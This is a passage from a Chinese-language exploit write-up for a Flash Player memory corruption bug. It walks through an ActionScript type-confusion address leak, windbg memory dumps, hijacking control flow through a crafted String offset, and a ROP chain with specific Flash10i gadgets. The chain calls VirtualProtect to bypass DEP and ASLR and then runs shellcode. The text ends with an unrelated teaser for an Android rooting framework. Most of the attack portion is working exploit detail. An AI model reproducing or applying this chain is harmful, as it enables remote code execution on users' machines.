           ba.writeUnsignedInt(0x45464748);
           return ba;
           //ExternalInterface.call('alert',0x41414141.toString(16));
       }
      
       public function test()
       {
           var a:People = (1 == 0) ? people() : (1 == 0) ? people() : people();
           //var al:uint = a.length;
           var t:ByteArray = b();
           var zz:uint= t.length;
           ExternalInterface.call('alert',zz.toString(16));
          
       }
    }
}
````


调试版本中,windbg看People在内存中数据结构如下:

0:023> dd 58c1060
058c1060  04665050 00000003 058f8868 058c0b98
058c1070  41414141 41414142 41414143 41414144
058c1080  41414145 41414146 41414147 41414148
058c1090  41414149 4141414a 4141414b 4141414c
058c10a0  4141414d 4141414e 4141414f 00000000
058c10b0  058c1100 00000000 00000000 00000000
058c10c0  00000000 00000000 00000000 00000000
058c10d0  00000000 00000000 00000000 00000000
“`

也就是说我们在数值为4141414c处的参数设置为length即可通过混淆或得ByteArray地址。
然后我们导出release版的swf文件,修改,载入ie,弹出的地址为:

Windbg加载,dd 5d091ec

0:033> dd 5d091ec
05d091ec  05a28590 05a27cfd 05a27edd 05a28e86
05d091fc  05a2810d 05a27cca fffffffc 0000000c
05d0920c  fffffffc 00000014 00000000 05a28ea2
05d0921c  05a251f3 05c20770 05c20e50 05c20ee0
05d0922c  05a27f3b 05c20140 05a288ec 05c1ff80
05d0923c  05a27d30 05c1ff40 05c203e0 05a27fa8
05d0924c  05a2894d 05c20470 05a27ff2 05a27d0d
05d0925c  05a288cd 05c1ffc0 05c20650 05c207a0

很明显,并不是我们写进去的0x41424344,0x45464748.也就是说,我们读出来的并不是想得到的ByteArray地址!

 填坑-任意读地址

我们构造的类在内存中数据结构是什么样子呢,我们在windbg搜一下我们构造函数的数据

s 0 l?7fffffff 41 41 41 46 41 41 41 47
061b2425  41 41 41 46 41 41 41 47-41 41 41 48 41 41 41 49  AAAFAAAGAAAHAAAI

我们看下内存061b2425附近的数据

如上图所示,构造函数的数据存放在061b2415-061b2451并不是按照顺序存放的。
我们读出来的地址是什么?

s 0 l?7fffffff ec 91 d0 05
020bc908  ec 91 d0 05 80 c9 0b 02-68 18 33 06 00 80 24 06  ........h.3...$.
05a28843  ec 91 d0 05 8b 40 04 c7-44 30 20 e4 91 d0 05 8b  .....@..D0 .....
0623dd9c  ec 91 d0 05 04 92 d0 05-08 00 00 00 00 00 00 00  ................

查看0623dd9c附近的数据

在05d091ec附近找到了06bbd000地址,形似ByteArray地址

上图表示,正是我们在ByteArray写入的数据,即06bbd000为ByteArray地址。

所以,我们看我们所读的地址-14h处即为ByteArray地址,对照着我们构造函数的数据,4141414c处所在的地址-14h处对应的数据为41414147,因此,将我们构造函数数据为41414147赋设为length即可。

将构造函数代码改为如下:

通过修改,成功混淆出ByteArray地址。

按照偏移得出自定义函数在release版本中数据结构。

06de6ffd b006def0 d006de70 0006de71 00000000
06de700d 02000000 00009000 00000000 30000000
06de701d 4606abdb 41004f00 42414141 43414141
06de702d 44414141 45414141 46414141 47414141
06de703d 48414141 49414141 4a414141 4b414141
06de704d 4c414141 4d414141 4e414141 4f414141
06de705d 41414141 42414142 43414142 44414142
06de706d 45414142 46414142 47414142 48414142
06de707d 49414142 4a414142 4b414142 4c414142
06de708d 4d414142 4e414142 4f414142 44414142
06de709d 48414243 70454647 6e006100 4e007900
06de70ad 00006100 73000000 2f737265 4c4c4544

在release版本中,如上图我们可控制的数据,我们能够读取的地址只能是从偏移28h处开始。

对照ByteArray结构

同时也证实了前边我们读取的41414143位置也并不是ByteArray数据结构中偏移18h处的地址,而是偏移2ch处的地址,而这个偏移处也刚好是一个flash模块地址!

 总结

需要注意的是,在构造函数中定义的参数值一定不能重复,不然release版本会进行优化,数据个数会减少。

经过多次尝试,在realease版本中我们构造的函数数据在内存中存放的地址是连续的,但是数据存放顺序会被打乱,ByteArray在realease版本中数据结构并没有改变,因此,我们依然可以用这种方法读取任意想得到的地址。

 完整的漏洞利用

要成功利用这个漏洞,要清楚以下三个问题

  1. 如何控制程序流程
  2. 如何过ASRL和DEP
  3. 如何执行shellcode

 控制流程

控制程序流程比较容易想到,通过出发漏洞的源码和异常出错的汇编代码,可以看出,只要在String适当的偏移处将AAAA改为我们想控制的地址,就可以控制程序的流程了。

触发漏洞代码

异常汇编代码

如上图所示,[eax+8]存放着String字符串的内容地址,即[ecx+0A0h]=String[0A0h](写法仅方便阅读),也就是说我们在String[0A0h]处存放着我们想要控制的地址指针,然后在下边的call eax之后就进入我们的控制之中了。

 突破DEP+ASLR

通过上次混淆出来的flash模块地址,可以轻松绕过ASRL;
突破DEP的法是通过构造一个ROP链来实现,这个也是该漏洞利用的一个难点,代码的编写花费的时间最多,需要一些技巧和运气。

 执行shellcode

如何执行shellcode,首先我们将shellcode写入内存是不可执行的,因此我们要调用virtualprotect函数将地址改为可执行属性,virtualprotect函数可以通过flash模块地址和偏移地址定位。

 完整的利用过程

  1. 首先我们先定义一个ByteArray,然后将shellcode写进去,然后通过混淆得到ByteArray的地址,也就是shellcode的地址ScAddr。

  2. 然后我们构造Rop链,Rop链需要完成的功能有三个,先是控制esp,然后是通过调用virtualprotect函数将shellcode代码段内存改为可执行属性,最后要实现的功能是跳入shellcode。通过混淆得到Rop链地址RopAddr。

  3. 最后,我们将Rop链的地址ScAddr写在String[0A0h]处,通过混淆出发漏洞,然后得到控制权,去实现Rop链中的功能,最后成功执行shellcode。

  4. 在整个过程中,在往ByteArray中写数据时候要注意大小字节序,Flash默认是大字节序列。

 控制esp

在Rop链的一开始,肯定是要先得到esp的控制权,需要我们在flash模块里边找到一条xchg eax,esp;ret代码。代码很容易找到,但是发现即使执行了依然控制不了esp,原因是我们在控制流程的语句call eax时候,eax的值已经不是Rop链的地址了,而是Rop链中我们得到esp控制权的代码的地址,形似[RopAddr],也就是说,我们执行完xchg eax,esp;ret代码之后,就失去了程序的控制权,这个问题也困扰了好久。

我们再回过头来看控制代码

0688afb8 8b4808          mov     ecx,dword ptr [eax+8]
0688afbb 8b89a0000000    mov     ecx,dword ptr [ecx+0A0h]
0688afc1 8d55b8          lea     edx,[ebp-48h]
0688afc4 8945b8          mov     dword ptr [ebp-48h],eax
0688afc7 8b01            mov     eax,dword ptr [ecx]  ds:0023:41414141=????????
0688afc9 52              push    edx
0688afca 6a00            push    0
0688afcc 51              push    ecx
0688afcd ffd0            call    eax  //获得控制权

我们发现,程序获得控制权是先将RopAddr的传送给ecx,然后将[ecx]赋值给eax,然后才是我们控制esp的代码call eax,
因此,ecx始终等于RopAddr,既然eax不能用,完全可以用xchg ecx,esp;ret

接着分析,只执行xchg ecx,esp;ret还是不够的,我们要执行下一条代码,需要在xchg ecx,esp之后将esp+4,然后是ret才能成功跳进吓一跳代码中。在flash模块中并没有找到理想的代码形如

xchg ecx,esp
add esp,xx
ret

既然xchg指令不能用,换个方式,形如

mov esp,ecx
add esp,xx
ret

或者

push ecx
pop esp
add esp,xx
ret

最后,在flash模块中找到如下可用代码:

057d5fe1 51              push    ecx
057d5fe2 5c              pop     esp
057d5fe3 8b889c000000    mov     ecx,dword ptr [eax+9Ch]
057d5fe9 52              push    edx
057d5fea 51              push    ecx
057d5feb e860c2fcff      call    Flash10i+0xb2250 (057a2250) //不影响esp
057d5ff0 83c410          add     esp,10h
057d5ff3 c3              ret

通过flash模块地址和偏移,算得代码地址,记作 addxchgecx_esp

 修改内存属性

在控制esp之后,就开始实现virtualprotect函数的功能,将我们的shellcode所在的内存属性变为可执行。通过ida加载flash10i.oxc得到virtualprotect函数偏移,再根据flash模块地址算出virtualprotect函数地址Add_virtualprotect。Vritualprotect函数代码如下:

683ecee2 51              push    ecx
683ecee3 55              push    ebp
683ecee4 56              push    esi
683ecee5 57              push    edi
683ecee6 ff157c534b68    call    dword ptr [Flash10i!DllUnregisterServer+0x3059a9 (684b537c)] //call virtualprotect
683eceec 03fe            add     edi,esi
683eceee 2bde            sub     ebx,esi
683ecef0 7404            je      Flash10i!DllUnregisterServer+0x23d523 (683ecef6)
683ecef2 85c0            test    eax,eax
683ecef4 75d0            jne     Flash10i!DllUnregisterServer+0x23d4f3 (683ecec6)
683ecef6 5f              pop     edi
683ecef7 5e              pop     esi
683ecef8 5d              pop     ebp
683ecef9 5b              pop     ebx
683ecefa 83c420          add     esp,20h
683ecefd c3              ret

通过代码可以看出,在调用函数成功后,eax肯定为非0,那么程序在执行test eax,eax之后肯定就跳走失去了控制权。

解决方法:我们直接跳入virtualprotect函数去实现我们的功能,然后构造我们的返回地址和参数,而不是通过call来调用,因此,我们在这一步先将virtualprotect函数地址放入[esp+4],在esp处我们存放形如下代码的地址,

    mov eax,[esp+4]
    add esp,xx   //跳过virtualprotect函数地址
    ret

然后ret之后esp存放着jmp [eax] 地址([eax]形似[684b537c],684b537c为上边Vritualprotect函数代码部分),然后就可以顺利的执行了,最后分别在flash模块中找到可用代码。

地址Addmoveax_esp

05771008 8b0424          mov     eax,dword ptr [esp]
0577100b 59              pop     ecx
0577100c c3              ret

地址Addjmpeax

    56f768f ff20            jmp     dword ptr [eax]

当然,解决这个问题方法不止一种,可以在这之前重新设置标志位,这样test eax,eax之前让它跳走就可以了。

综上,构造的Rop链结构如下所示:

执行shellcode

通过上边的分析,利用构造的Rop链就可以顺利执行shellcode了,如弹出计算器。

Android Root Zap Framework

‎ 1. Warning 请遵守GPL开源协议, 请遵守法律法规, 本项目仅供学习和交流, 请勿用于非法用途! 道路千万条, 安全第一条, 行车不规范, 亲人两行泪. 2. Android Root Zap Frame...